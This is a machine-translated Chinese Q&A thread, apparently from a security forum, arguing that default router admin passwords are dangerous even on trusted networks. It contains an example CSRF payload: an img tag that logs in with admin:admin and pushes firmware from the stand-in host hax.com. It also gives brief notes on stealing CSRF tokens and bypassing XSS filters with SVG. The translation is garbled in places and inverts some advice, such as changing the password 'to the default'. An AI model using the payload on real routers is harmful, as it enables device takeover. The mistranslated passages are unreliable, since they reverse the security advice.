您正確地註意到CSRF攻擊是可能的。使用CSRF令牌可以防止CSRF攻擊，但是您不能以路由器用戶的身份進行任何操作。因此，如果您是路由器供應商，則一定要實現CSRF保護，但是作為用戶，您必須使用該供應商提供的產品，並且許多供應商都沒有適當的CSRF保護。

除CSRF之外，還有其他功能可用於路由器的攻擊。與CSRF相似，其中許多將瀏覽器用作蹦床，即只需要訪問一些嵌入了漏洞利用程序（例如嵌入廣告中）並且不需要妥協用戶計算機的網站即可。其中值得注意的是跨站點腳本（XSS）和DNS重新綁定攻擊。再次，供應商可以在理論上實施適當的保護，但是在實踐中通常沒有做到這一點。在這種情況下，攻擊者位於受信任的網絡內，並且默認密碼的知識使劫持路由器變得更加容易，並且使攻擊者對網絡的控制更加持久且不那麼明顯。

這意味著如果您認為自己得到了適當的保護，則應本著深入防禦的精神將密碼更改為默認值。攻擊者必須了解的更多信息才能滲透到網絡中，您為他建立的難度就越大，並且網絡安全性就越高。當然，這不僅適用於密碼，而且還適用於一般的路由器安全性，即某些路由器存在錯誤，甚至後門，您甚至不必知道用戶的密碼即可進行接管。而且不僅是路由器，而且您還必須注意其他設備，例如打印機，掃描儀，智能燈泡，電視等。

如果僅允許受信任的用戶進入網絡，使用默認的路由器管理員密碼是否有危險？

是的，很危險。這裡有一些其他的“技術”方法（不是說不好）：

1。沒有CSRF保護

您可能會很高興地訪問一個網站，並且可能會遇到許多問題：

1. 該網站本身已被屏蔽並且具有惡意

2. 頁面上的任何元素都在中間受到了MITM的攻擊（閉嘴，我想很有趣），並且Thing（tm）和;

3. CSRF攻擊攔截的元素是通過樣式，img，鏈接或其他任何方式插入的：

   粗略示例：

   <img src =“ http：// admin：admin@192.168.0.1/updateFirmware.cgi？file = hxxp：//hax.com/hax.bin&confirmUpgrade=true” / >

ol>

在許多情況下，如果您可以通過admin：admin @ routerip登錄，則CSRF保護將無濟於事。它將為您創建一個新的會話和令牌，而不是使用當前會話和令牌。



祝賀您最新安裝的Router Backdoor（ tm），並且具有完全的shell訪問權限。

---

2。存在CSRF保護，但沒有適當的XSS保護

轉義上下文並插入 hax.js ，或僅插入JS代碼，可以執行以下功能：

1. 使用javascript竊取CSRF令牌
2. 請參閱上面的 <img src =“” / > 。
ol>

還， .svg 圖片可以繞過很多XSS保護。

---

3。是否可以通過無線網絡訪問路由器配置頁面？

有人登錄到您的無線網絡，訪問路由器配置頁面並進行必要的更改/升級固件/重定向DNS /他們想要的任何內容。像第一個一樣，但是具有點擊界面。

---

4。其他方式

• 心懷不滿的員工
• 如果有人通過另一台受感染的計算機在您的網絡中找到自己的路，他們可以使用該計算機來破壞您的路由器，然後您便會陷入困境。

請記住，如果供應商很垃圾，XSS / CSRF攻擊可能存在，甚至可能在升級期間添加。

所以不要這樣做。請。我的心不能接受。 ：（

是的，路由器已被網絡內部執行的惡意軟件破壞，並測試了默認密碼列表。該惡意軟件通過受感染的網絡釣魚附件或瀏覽器利用程序進入網絡。

如果您有能力驗證無法在本地網絡外部重新配置路由器，則不僅具有以下功能：更改默認密碼，則有責任對其進行修復。

我很不高興提出這個問題，甚至我都不是安全專家。這有點像問“如果只允許信任的出納員進入地下室，可以將銀行保險庫解鎖嗎？”。人們不知道從哪裡開始應對。我半懷疑這個問題是否是出於體育目的發布的Ali G風格的告示。

默認密碼-包括所有內容-幾乎比不使用密碼的系統好。從某種意義上說，這實際上是更糟的，因為它助長了密碼保護的錯覺（這可能是系統安全性的其他部分依賴於製衡和補償控制系統的基礎假設），而實際上懷有惡意的人進來了。對於那些知道的人來說，它變成了一種後門。筆測試人員會定期在IT展覽會上演示如何在供應商的數據表和Web上查找默認密碼是多麼容易。事情，就是沒有需求的供應的最終典範。我仍然看到倫敦所有可黑客入侵的互聯網水壺（確實是）的投影顯示地圖，這些地圖顯示了所有者的計算機IP，並了解了配備攝像頭的洋娃娃，這些洋娃娃在其用戶上變成了遠程間諜，並重新編程為發誓咒罵。

是！

您不得使用默認的用戶名或密碼

1. 路由器之所以臭名昭著，是因為它容易受到後門的攻擊。 [即，即使您確實將管理界面配置為只能通過本地網絡訪問，也不太可能擁有一個暴露於Internet的偷偷摸摸的後門端口。
2. 路由器Web控制台臭名昭著。 CSRF，XSS和其他許多漏洞。結合以上兩者，攻擊者可以使毫不懷疑的用戶使用默認的用戶名密碼登錄，甚至發送有效的請求以更改配置。有趣的是，所有這些操作都可能在用戶玩網絡遊戲時在後台完成；）
3. WiFi安全並不完全取決於密碼熵。這取決於所使用的算法。
4. 存在零日漏洞，任何“受信任的用戶”都可以成為受害者。如果他們的帳戶被盜，您將有麻煩。
5. 最後但並非最不重要；
ol>

CSRF是可能的，但可以使用CSRF令牌進行防禦。

Tadaa ..尚未有任何路由器為其接口修復它。在23世紀，也許他們會的。

即使是受信任的用戶也可以對其計算機進行黑客攻擊。以此為起點，攻擊者可以獲得對路由器的完全訪問權限。換句話說，如果發生內部攻擊，您的防護能力將降低。這是一個典型的例子：特洛伊木馬。

這可能會顯得很狡猾，但是如果您由於設備位於隔離的網絡中而懶得不更改默認密碼，那意味著有人在設置此安全網絡方面也同樣懶惰。此外，您通過wifi進行的訪問破壞了該網絡足夠安全的想法。物理上隔離網絡設備以使默認密碼安全的唯一方法是將任何東西都插入（包括電源）中，將其包裹在混凝土中，然後將其放入Marianas溝槽中。然後，您仍然需要擔心James Cameron可以訪問它。

如果您用於無線AP的任何設備最終遭到破壞...如果此網絡上包含敏感信息，那麼您將度過一段糟糕的時光。

有人不太可能利用您的無線路由器上的漏洞嗎？是。

有可能嗎？是。

如果您甚至對網絡安全性持認真態度，則應始終更改路由器上的默認密碼！

除了像樣的企業安全設備（例如執行常規網絡掃描，IDS，自定義主機文件的設備-所有有趣的東西）之外，仍然沒有任何東西可以阻止惡意軟件進入您的網絡並利用您的密碼這一事實設置為默認值。

最終，您的最終用戶將感染您的網絡。

這不是一個可能，只是時間問題

說“ Jan in accounting”已經86歲，並且知道有關infosec的知識。

她比您每天可能面臨的所有其他威脅更加危險。

更改密碼。更改默認用戶名。

您可以實施各種保護措施，但由於默認的用戶名和密碼而仍然受到損害。心懷不滿的員工，某些人機靈但仍在學習腳本小子（在帶孩子上班時），各種各樣的事情都可能發生。

為什麼要在企業中崛起？

當您出於對上帝的愛而更改此密碼時，請不要使其變得愚蠢。我見過網絡設置（具有所有人許可的開放共享...所有人在尖叫著什麼，在什麼地方……都有令人難以置信的敏感信息）和向外部路由器發送的密碼...類似於'1234＃businessname'....我有點想聯繫他們的客戶，並讓他們知道他們僱用了一家不重視安全性的IT管理公司。

然後我還有更好的事情要做。

每當他們受到cryptolocker的打擊時，他們最終將面臨後果。

失去一個年收入5萬美元的客戶確實會傷害到一家小公司。

“我的想法是，如果攻擊者無法進入網絡，他們就無法破壞路由器...”，我對此感到不安。這似乎完全背離了良好安全中對隔離原則的理解。

一個人可以通過直接適用於它的地方的相關措施來控制風險，而不是將所有人的依賴都放在其他地方的全局或更遠程控制的間接影響上。不要讓水進入（良好的周界安全性），但勤奮的造船廠仍將其安裝在甲板下方的艙壁上，因此，確實違反了其他地方的所有精細設計要求的任何滲水現象仍被限制在很小的區域內（分隔造成的損壞限制） 。命中有名的《自由企業先驅報》通過不費吹灰之力就削減了成本。 1987年3月6日，由於操作者的錯誤，它通過打開的弓形門進水。它猛烈地上市，只用了90秒就翻船了，而幾乎沒有出海。接近冰點的水中有193人死亡。

您可能聽說過“預防勝於治療” 。
別偷懶，您甚至不想更改路由器的默認密碼。這是基本的101類內容。 始終更改默認密碼。今天的條件有多安全都沒關係。他們隨著時間而改變。您永遠不會知道將來會發明哪種攻擊。全力以赴。

通常，永遠不要依賴單點故障。這裡的每個人都有有效的觀點。如果某人確實想要在您的網絡上訪問，那實際上只是時間問題。無論是蠻力攻擊，DDOS攻擊，還是只是某種社會工程欺騙您的已認證用戶之一泄露其憑據，最終，單點故障都將失敗。像直接將其暴露在互聯網上一樣，保護網絡上所有重要的信息。另外請記住，如果您存儲敏感的客戶信息，則在洩漏信息的情況下，您應對法院負責。

原則上，這甚至不需要花費時間即可部署。如果您的路由器型號設置了看似非隨機的密碼，則製造商甚至沒有嘗試查找安全；他們應該被認為是不可信的。眾所周知，試圖出售廉價路由器的製造商不值得從懷疑中受益。現在您有了一個不受信任的路由器。如您所說，這將是一個嚴重的風險因素。

被指定為僅具有受信任用戶（甚至不包括外部端口）的路由器並不常見。

家用系統託管安全性較差的智能手機（更新）為例。

業務系統託管通常不應更改基礎結構設置的用戶。

作為練習的網絡設置顯然不應僅僅因為您使用了不安全的設置可以擺脫它；這項運動失敗了。 （例外：該練習專門用於證明不安全的默認值。）

用於測試的網絡仍然值得一定注意。在某些情況下，您希望它們與您的描述匹配。但是，在確定這一點時，您將忽略標準安全性。再次，原則上您沒有理由破壞這樣的系統。

Diceware有點煩人，但它減少了生成體面隨機數的問題。 Google網站上會為您生成隨機擲骰子頁面，並隨機選擇擲骰子。將密碼粘貼到路由器，然後就可以了。

我想知道原始Q後面是否存在一些隱含的想法，即“一個風險：因此有一個控件可以對其進行排序”。實際上，風險與控制之間的關係是很多而不是一個。

您可能會收到汽車警報器。該控件解決了汽車上便攜式物品被盜的風險，並且還解決了汽車被帶走和駛離的單獨風險。 （i）：一個控制；不只一個相關的風險。

您還有一個可上鎖的車門。這是一個不同的控件，但是它解決了以上兩個風險。

每個風險都由一個以上的控件（警報和門鎖）解決。
所以（ii）：一個風險（每個風險輪到）;不止一個相關的控件。

您不會僅僅因為有汽車警報器而費心去鎖上車門。而且，針對汽車盜竊，您可能還擁有Krooklok裝置或方向盤桿，點火密碼或蜂鳴器，或遠程GPS跟踪（三，四個或什至五個控件可避免一種風險）。為了防止以後出售或克隆車輛，您需要將底盤編號刻在擋風玻璃上，並至少保留一個秘密位置（最多可進行六項控制，以防止汽車被盜或其直接後果）。

這些控制中的任何一個都不是多餘的，只是因為其他控制就位了，儘管我認為我們大多數人都將這六個控制視為過度殺傷力，並且不會因為反复無常的警報或笨重的物理設備而感到不便

總而言之，風險與處理風險的控制措施之間的關係不是一對一的，這不僅適用於網絡，而且適用於路由器還有什麼。